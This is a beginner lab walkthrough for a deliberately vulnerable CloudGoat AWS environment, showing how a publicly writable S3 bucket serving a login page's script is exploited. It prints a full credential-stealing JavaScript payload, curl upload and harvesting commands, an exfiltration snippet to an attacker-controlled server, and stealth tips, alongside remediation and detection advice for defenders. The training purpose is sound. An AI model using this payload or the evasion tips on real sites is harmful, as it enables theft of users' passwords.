Objective / Scope
As a member of the Hack Smarter Red Team, you’ve been assigned a web application penetration test on a client’s employee portal. During the scoping call, you also learned the client uses AWS for their website architecture.
In preparation for an upcoming Red Team Engagement, your task is to figure out a way to steal credentials from the website when employees log in.
Target Information
Definition (What is CloudGoat?)
CloudGoat is an open-source “Vulnerable by Design” AWS deployment tool created by Rhino Security Labs. It provisions intentionally vulnerable AWS environments that security professionals can use to practice cloud penetration testing in a safe, legal environment.
Introduction
In this lab, you’ll learn how a simple misconfiguration in an AWS S3 bucket can lead to complete credential compromise. This is a real-world attack scenario that has affected many organizations.
Scenario
You’re a penetration tester hired to assess an employee portal. Your mission is to find a way to steal employee credentials. The final objective is to obtain the password for a user named “tyler”.
Target Information
| Detail | Value |
|---|---|
| Target URL | http://34.202.93.34 |
| Target Type | Employee Login Portal |
| Infrastructure | AWS (EC2, S3) |
| Objective | Steal credentials, find tyler’s password |
What You’ll Learn
By the end of this walkthrough, you will understand:
- Web Application Reconnaissance - How to analyze web pages for attack vectors
- AWS S3 Security - How S3 buckets work and common misconfigurations
- Supply Chain Attacks - How compromised third-party resources can be exploited
- JavaScript Injection - How malicious JavaScript can steal credentials
- Credential Harvesting - Techniques attackers use to capture login credentials
Prerequisites
Tools Needed
# All you need is curl (comes pre-installed on most Linux systems)curl --version
# Optional but helpful# - A web browser for visual inspection# - Burp Suite for intercepting trafficNote (Beginner-Friendly)
This walkthrough is designed for beginners. We’ll explain every command and concept as we go. You don’t need to be an expert—just follow along step by step!
Knowledge Level
- Basic understanding of HTTP requests
- Familiarity with the command line
- Basic HTML/JavaScript knowledge (helpful but not required)
Key Concepts Explained
Before we dive in, let’s understand some key concepts:
What is an S3 Bucket?
Definition (Amazon S3 (Simple Storage Service))
Amazon S3 is AWS’s cloud storage service. Think of it like a folder in the cloud where you can store files. Each “bucket” is a container that holds objects (files) and can be configured with various access permissions.
S3 Bucket Structure:┌─────────────────────────────────────┐│ my-company-assets (bucket name) │├─────────────────────────────────────┤│ ├── images/ ││ │ ├── logo.png ││ │ └── banner.jpg ││ ├── scripts/ ││ │ └── app.js ││ └── styles/ ││ └── main.css │└─────────────────────────────────────┘S3 Bucket URLs
S3 buckets can be accessed via URLs in two formats:
# Virtual-hosted style (most common)https://bucket-name.s3.amazonaws.com/object-key
# Path stylehttps://s3.amazonaws.com/bucket-name/object-keyWhat is a Misconfigured S3 Bucket?
By default, S3 buckets are private. However, administrators sometimes misconfigure them to be:
| Misconfiguration | Risk Level | What It Means |
|---|---|---|
| Public READ | Medium | Anyone can list and download files |
| Public WRITE | Critical | Anyone can upload or overwrite files |
| Both READ + WRITE | Critical | Complete control over bucket contents |
Warning (S3 Misconfigurations Are Common)
S3 bucket misconfigurations are one of the most common cloud security issues. Major data breaches at companies like Capital One, Twitch, and countless others have resulted from improperly secured S3 buckets.
What is a Supply Chain Attack?
Definition (Supply Chain Attack)
A supply chain attack targets third-party resources that a website depends on. If a website loads JavaScript from an external source, and that source is compromised, the attacker can inject malicious code that runs in every visitor’s browser.
Normal Flow:User → Website → Loads JavaScript from S3 → Safe code runs
Attack Flow:Attacker → Replaces JavaScript in S3 → User visits website → Malicious code runsLab Setup
This walkthrough assumes you have CloudGoat already deployed. The target IP will be displayed after deployment.
# Your target will look something like this:# Target: http://34.202.93.34Danger (Legal Authorization Required)
NEVER perform penetration testing on systems you don’t own or don’t have explicit written permission to test. This lab uses CloudGoat, a deliberately vulnerable environment that you deploy in your own AWS account. Testing real systems without authorization is illegal.
Phase 1: Reconnaissance
Goal: Understand what we’re dealing with before attacking.
Tip (Why Reconnaissance First?)
Good penetration testers never attack blindly. Reconnaissance helps you understand the target, identify potential attack vectors, and avoid wasting time on dead ends. The more you learn first, the more effective your attack will be.
Step 1.1: Check if the Target is Alive
First, let’s verify the target is reachable:
curl -s -I http://34.202.93.34What this command does:
curl- Command-line tool for making HTTP requests-s- Silent mode (no progress bar)-I- Fetch headers only (faster, less noisy)
Expected Output:
HTTP/1.1 200 OKServer: Apache/2.4.66 ()Content-Type: text/html; charset=UTF-8What we learned:
- The server is running Apache 2.4.66
- It’s responding with HTTP 200 (success)
- The server is hosted on AWS (common for Apache on AWS)
Step 1.2: Fetch the Homepage
curl -s http://34.202.93.34Expected Output:
<meta http-equiv="refresh" content="0; url=/login.html" />What we learned:
- The homepage immediately redirects to
/login.html - This is an employee login portal
Step 1.3: Analyze the Login Page (CRITICAL STEP)
This is where the magic happens. Let’s examine the login page:
curl -s http://34.202.93.34/login.htmlExpected Output:
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Hacksmarter Portal | Employee Login</title> <script src="https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/auth-module.js"></script> ...</head><body> <div class="login-card"> <img src="https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/logo.svg" class="logo"> <h2>Employee Login</h2> <input type="text" id="username" placeholder="Username"> <input type="password" id="password" placeholder="Password"> <button id="login-btn">Sign In</button> </div></body></html>Important (Critical Discovery: External S3 JavaScript)
Look at this line in the source code:
<script src="https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/auth-module.js"></script>The login page loads JavaScript from an external S3 bucket! This is a potential attack vector.
Why this is important:
- If we can access this S3 bucket, we can see what files are stored there
- If we can write to this bucket, we can replace the JavaScript
- If we replace the JavaScript, we can make it do whatever we want (like steal credentials)
Reconnaissance Summary
| Finding | Value |
|---|---|
| Web Server | Apache 2.4.66 |
| Login Page | /login.html |
| External Resource | S3 bucket: cg-assets-cgidjzawpayff5 |
| Potential Attack | JavaScript injection via S3 |
Phase 2: S3 Bucket Discovery
Goal: Investigate the S3 bucket we discovered.
Step 2.1: Test if the Bucket Allows Listing
When S3 buckets are misconfigured, they may allow anyone to list their contents:
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/"What this command does:
- Requests the root of the S3 bucket
- If listing is enabled, we’ll get an XML response with all files
Expected Output:
<?xml version="1.0" encoding="UTF-8"?><ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"> <Name>cg-assets-cgidjzawpayff5</Name> <Contents> <Key>auth-module.js</Key> <Size>52</Size> </Contents> <Contents> <Key>logo.svg</Key> <Size>304</Size> </Contents></ListBucketResult>Danger (Vulnerability Confirmed: Public Listing Enabled)
The S3 bucket allows public listing! This is a security misconfiguration. Anyone on the internet can see all files stored in this bucket.
Understanding the XML Response
Let’s break down what we received:
┌─────────────────────────────────────────────────────────┐│ S3 Bucket: cg-assets-cgidjzawpayff5 │├─────────────────────────────────────────────────────────┤│ Files Found: ││ ├── auth-module.js (52 bytes) ← JavaScript file! ││ └── logo.svg (304 bytes) ← Just an image │└─────────────────────────────────────────────────────────┘Step 2.2: Download the JavaScript File
Let’s see what’s in the auth-module.js file:
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/auth-module.js"Expected Output:
console.log('Hacksmarter Auth Module v1.2 loaded.');What we learned:
- The file currently just logs a message
- It’s a small file (52 bytes) - easy to replace
- This JavaScript runs on every user’s browser when they visit the login page
Phase 3: Testing S3 Permissions
Goal: Determine if we can write to the S3 bucket.
Important (The Critical Question)
We know we can read from the bucket. But can we write to it? If we can write, we can replace the JavaScript file with malicious code that will run in every user’s browser.
Step 3.1: Test Write Permission
This is the critical test. Can we upload files to this bucket?
# Create a test fileecho "// test write permission" > /tmp/test.txt
# Try to upload it to the S3 bucketcurl -s -X PUT \ "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/test.txt" \ --upload-file /tmp/test.txtWhat this command does:
-X PUT- Use HTTP PUT method (for uploading)--upload-file- Specifies the file to upload
Step 3.2: Verify the Upload Worked
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/test.txt"Expected Output:
// test write permissionDanger (Critical Vulnerability: Public WRITE Access)
The S3 bucket allows public WRITE access! This is a critical security vulnerability. Anyone on the internet can upload, modify, or delete files in this bucket.
Why This is Devastating
Attack Possibility:┌─────────────────────────────────────────────────────────────┐│ 1. We can READ the bucket → See what files exist ││ 2. We can WRITE to the bucket → Replace existing files ││ 3. Login page loads auth-module.js from this bucket ││ 4. We can replace auth-module.js with malicious code ││ 5. Every user who logs in will run our malicious code! │└─────────────────────────────────────────────────────────────┘Phase 4: Understanding the Attack Vector
Before we exploit this, let’s understand the complete attack:
The Attack Chain Visualized
┌─────────────────────────────────────────────────────────────────────┐│ ATTACK CHAIN │└─────────────────────────────────────────────────────────────────────┘
Step 1: Normal User Login Flow┌─────────┐ ┌─────────────┐ ┌───────────────┐│ User │────▶│ Login Page │────▶│ S3 Bucket ││ │ │ (Website) │ │ auth-module.js│└─────────┘ └─────────────┘ └───────────────┘ │ │ ▼ ▼ "Load JavaScript" "Safe code runs"
Step 2: Attacker Replaces JavaScript┌──────────┐ ┌───────────────┐│ Attacker │────▶│ S3 Bucket ││ │ PUT │ auth-module.js│└──────────┘ └───────────────┘ │ ▼ "Malicious code now stored in bucket"
Step 3: Victim Logs In┌─────────┐ ┌─────────────┐ ┌───────────────┐│ User │────▶│ Login Page │────▶│ S3 Bucket ││ (tyler) │ │ (Website) │ │ MALICIOUS.js │└─────────┘ └─────────────┘ └───────────────┘ │ │ │ ┌─────────────────┐ │ └────────▶│ Enters username │◀────────┘ │ and password │ "Steals creds └────────┬────────┘ and sends to │ attacker" ▼ ┌─────────────────┐ │ Credentials sent│ │ to S3 bucket │ └─────────────────┘What Our Malicious JavaScript Will Do
Note (Payload Behavior)
Our credential-stealing JavaScript will:
- Wait for the page to load
- Listen for the “Sign In” button click
- Capture the username and password
- Send them to the S3 bucket (which we can read)
- Continue with normal login (user doesn’t notice anything)
Phase 5: Exploitation
Goal: Inject credential-stealing JavaScript.
Warning (Ethical Reminder)
This technique is shown for educational purposes in a controlled lab environment. Using these techniques against real systems without authorization is illegal and unethical. Always obtain proper permission before security testing.
Step 5.1: Create the Malicious Payload
Create a file called malicious-auth.js:
// This looks like the original to avoid suspicionconsole.log('Hacksmarter Auth Module v1.2 loaded.');
// Credential harvesting payloaddocument.addEventListener('DOMContentLoaded', function() { // Find the login button var loginBtn = document.getElementById('login-btn');
if (loginBtn) { // Add a click listener loginBtn.addEventListener('click', function(e) { // Get the username and password values var username = document.getElementById('username').value; var password = document.getElementById('password').value;
// Send credentials to S3 bucket as a text file // The filename includes a timestamp to avoid overwriting fetch('https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/creds_' + Date.now() + '.txt', { method: 'PUT', body: username + ':' + password, headers: { 'Content-Type': 'text/plain' } }); }); }});Explanation (Understanding the Payload)
| Line | Purpose |
|---|---|
console.log(...) | Mimics original file to avoid suspicion |
DOMContentLoaded | Waits for page to fully load |
getElementById('login-btn') | Finds the login button |
addEventListener('click') | Runs code when button is clicked |
getElementById('username').value | Captures entered username |
getElementById('password').value | Captures entered password |
fetch(...PUT...) | Sends credentials to S3 as a file |
Date.now() | Creates unique filename for each capture |
Step 5.2: Save the Payload
cat > /tmp/malicious-auth.js << 'EOF'console.log('Hacksmarter Auth Module v1.2 loaded.');
document.addEventListener('DOMContentLoaded', function() { var loginBtn = document.getElementById('login-btn'); if (loginBtn) { loginBtn.addEventListener('click', function(e) { var username = document.getElementById('username').value; var password = document.getElementById('password').value;
fetch('https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/creds_' + Date.now() + '.txt', { method: 'PUT', body: username + ':' + password, headers: { 'Content-Type': 'text/plain' } }); }); }});EOFStep 5.3: Inject the Payload
Replace the legitimate JavaScript with our malicious version:
curl -s -X PUT \ "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/auth-module.js" \ --data-binary @/tmp/malicious-auth.js \ -H "Content-Type: application/javascript"What this command does:
-X PUT- Upload/replace the file--data-binary @/tmp/malicious-auth.js- Upload our malicious file-H "Content-Type: application/javascript"- Set proper content type
Step 5.4: Verify Injection
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/auth-module.js"You should see your malicious JavaScript!
Tip (Injection Complete)
The malicious JavaScript is now live on the server. Any user who visits the login page will unknowingly load our credential-stealing code. The attack is now passive—we just need to wait for users to log in.
Phase 6: Credential Harvesting
Goal: Retrieve the stolen credentials.
Step 6.1: Wait for a Login (or Trigger One)
In a real scenario, you would wait for users to log in. In this lab, you can:
- Open the login page in a browser:
http://34.202.93.34/login.html - Enter any credentials
- Click “Sign In”
Or wait for the lab’s simulated user to log in.
Step 6.2: Check for Captured Credentials
List the S3 bucket to see if any credential files appeared:
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/" | grep -oP '<Key>[^<]+</Key>'Expected Output:
<Key>auth-module.js</Key><Key>creds_1768755932422.txt</Key><Key>logo.svg</Key><Key>test.txt</Key>Important (Credentials Captured!)
A credential file appeared: creds_1768755932422.txt. This means someone logged in and our payload captured their credentials!
Step 6.3: Download the Credentials
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/creds_1768755932422.txt"Output:
tyler:[REDACTED]Complete Attack Summary
Answer (Mission Accomplished!)
| Objective | Status |
|---|---|
| Find tyler’s password | COMPLETE |
| Password | [REDACTED] |
Attack Timeline
┌────────────────────────────────────────────────────────────────────┐│ COMPLETE ATTACK CHAIN │├────────────────────────────────────────────────────────────────────┤│ ││ [Phase 1] Reconnaissance ││ │ ││ ├─▶ curl -I target → Found Apache server ││ ├─▶ curl target → Found redirect to login.html ││ └─▶ curl target/login.html → Found external S3 JavaScript! ││ ││ [Phase 2] S3 Discovery ││ │ ││ ├─▶ curl S3-bucket/ → Listing enabled! (Vulnerability) ││ └─▶ curl S3-bucket/auth.js → Downloaded JavaScript file ││ ││ [Phase 3] Permission Testing ││ │ ││ ├─▶ curl -X PUT test.txt → Upload successful! ││ └─▶ CONFIRMED: Bucket is publicly writable (Critical Vuln) ││ ││ [Phase 4] Exploitation ││ │ ││ ├─▶ Created credential-stealing JavaScript payload ││ └─▶ curl -X PUT auth.js → Replaced legitimate JS ││ ││ [Phase 5] Credential Harvesting ││ │ ││ ├─▶ User logs in → Malicious JS captures creds ││ ├─▶ curl S3-bucket/ → Found creds_*.txt file ││ └─▶ curl S3-bucket/creds → tyler:[REDACTED] ││ ││ [MISSION COMPLETE] ││ └─▶ FLAG: [REDACTED] ││ │└────────────────────────────────────────────────────────────────────┘Commands Used (Quick Reference)
# Reconnaissancecurl -s -I http://34.202.93.34curl -s http://34.202.93.34curl -s http://34.202.93.34/login.html
# S3 Enumerationcurl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/"curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/auth-module.js"
# Write Testecho "test" > /tmp/test.txtcurl -s -X PUT "https://BUCKET.s3.amazonaws.com/test.txt" --upload-file /tmp/test.txt
# Exploitationcurl -s -X PUT "https://BUCKET.s3.amazonaws.com/auth-module.js" \ --data-binary @/tmp/malicious-auth.js \ -H "Content-Type: application/javascript"
# Credential Harvestingcurl -s "https://BUCKET.s3.amazonaws.com/" | grep credscurl -s "https://BUCKET.s3.amazonaws.com/creds_TIMESTAMP.txt"Remediation Guide
If you were the defender, here’s how to prevent this attack:
1. Fix S3 Bucket Permissions (Critical)
Solution (Block Public Access)
# Using AWS CLI - Block all public accessaws s3api put-public-access-block \ --bucket cg-assets-cgidjzawpayff5 \ --public-access-block-configuration \ "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"2. Use CloudFront with Origin Access Identity
Instead of public S3, serve files through CloudFront:
User → CloudFront → S3 (Private) ↑ Only CloudFront can access S33. Implement Subresource Integrity (SRI)
Tip (Subresource Integrity)
Add integrity checks to script tags. If the file is modified, the browser will refuse to run it:
<script src="https://bucket.s3.amazonaws.com/auth-module.js" integrity="sha384-HASH_OF_LEGITIMATE_FILE" crossorigin="anonymous"></script>4. Content Security Policy (CSP)
Add HTTP headers to restrict where scripts can load from:
Content-Security-Policy: script-src 'self' https://trusted-cdn.com5. Monitor S3 Access
Note (Enable CloudTrail Logging)
Enable CloudTrail logging to detect unauthorized access:
aws cloudtrail create-trail \ --name s3-monitoring \ --s3-bucket-name my-logs-bucket \ --include-global-service-eventsKey Takeaways
For Pentesters
Summary (Pentester Lessons)
- Always Check External Resources - When you see a website loading scripts from S3, CDNs, or other external sources, investigate them!
- Test S3 Permissions - Try listing (
GET /) and writing (PUT) to any S3 buckets you find - Understand the Impact - A writable S3 bucket serving JavaScript = complete control over what users’ browsers execute
- Be Methodical - Follow a clear process: Recon → Enumerate → Test → Exploit → Document
For Defenders
Summary (Defender Lessons)
- S3 Buckets Are Public by Default Risk - Always explicitly configure permissions
- Never Serve Executable Content from Writable Storage - If users can write to it, they can inject code
- Use SRI for External Scripts - It’s a simple defense that prevents this entire attack
- Monitor Your Cloud Resources - Enable logging and alerts for S3 access
Attack Chain Summary
┌─────────────────────────────────────────────────────────────────┐│ Vulnerability Chain That Made This Attack Possible │├─────────────────────────────────────────────────────────────────┤│ ││ 1. S3 Bucket Public READ → We could find and download ││ the JavaScript file ││ ││ 2. S3 Bucket Public WRITE → We could replace the ││ JavaScript with malicious code ││ ││ 3. No Integrity Checks → Browser ran modified code ││ without verification ││ ││ 4. S3 Used for Exfiltration → We stored stolen creds in ││ the same misconfigured bucket ││ │└─────────────────────────────────────────────────────────────────┘Practice Exercises
To reinforce your learning, try these exercises:
Exercise (Exercise 1: Alternative Exfiltration)
Modify the JavaScript to exfiltrate credentials to a different destination (your own server).
Answer
You could use a webhook service like webhook.site or set up a simple HTTP server:
fetch('https://YOUR-SERVER.com/capture', { method: 'POST', body: JSON.stringify({username: username, password: password}), headers: {'Content-Type': 'application/json'}});Exercise (Exercise 2: Stealth)
How would you modify the attack to be harder to detect? Think about:
- Not breaking the login functionality
- Using subtle file names
- Cleaning up after yourself
Answer
- Preserve original functionality by forwarding credentials after capture
- Use innocuous file names like
analytics_session.log - Delete captured credentials after exfiltrating to your own server
- Add delays to avoid suspicious network patterns
Exercise (Exercise 3: Detection)
If you were a defender, how would you detect this attack? Write detection rules for:
- Unusual S3 PUT requests
- JavaScript file modifications
- Suspicious S3 bucket access patterns
Answer
- CloudTrail alerts for PutObject events from unknown IPs
- File integrity monitoring on critical assets
- Anomaly detection for S3 access patterns
- SRI hash verification in CI/CD pipelines
Exercise (Exercise 4: Expand the Attack)
What else could you do with a writable S3 bucket serving website assets? Think about:
- Replacing other files (CSS, images)
- Phishing attacks
- Malware distribution
Answer
- Replace CSS to overlay fake login forms
- Modify images to include phishing messages
- Host malware downloads disguised as legitimate files
- Inject cryptocurrency miners into JavaScript
- Redirect users to phishing pages
Conclusion
Congratulations! You’ve completed a full web application penetration test against an AWS-hosted employee portal. You learned:
- How to perform reconnaissance on web applications
- How to identify and test S3 bucket misconfigurations
- How to exploit supply chain vulnerabilities
- How to create credential-stealing payloads
- How to harvest stolen credentials
Answer (Final Flag)
Target User: tyler
Password: [REDACTED]
Warning (Ethical Hacking Reminder)
Remember: Always get proper authorization before testing, and use these skills ethically! The techniques learned here should only be used for:
- Authorized penetration tests
- Bug bounty programs
- Educational labs like CloudGoat
- Your own systems
This walkthrough was created for educational purposes using the CloudGoat vulnerable-by-design AWS environment. Always obtain proper authorization before security testing.
Completed: 2026-01-18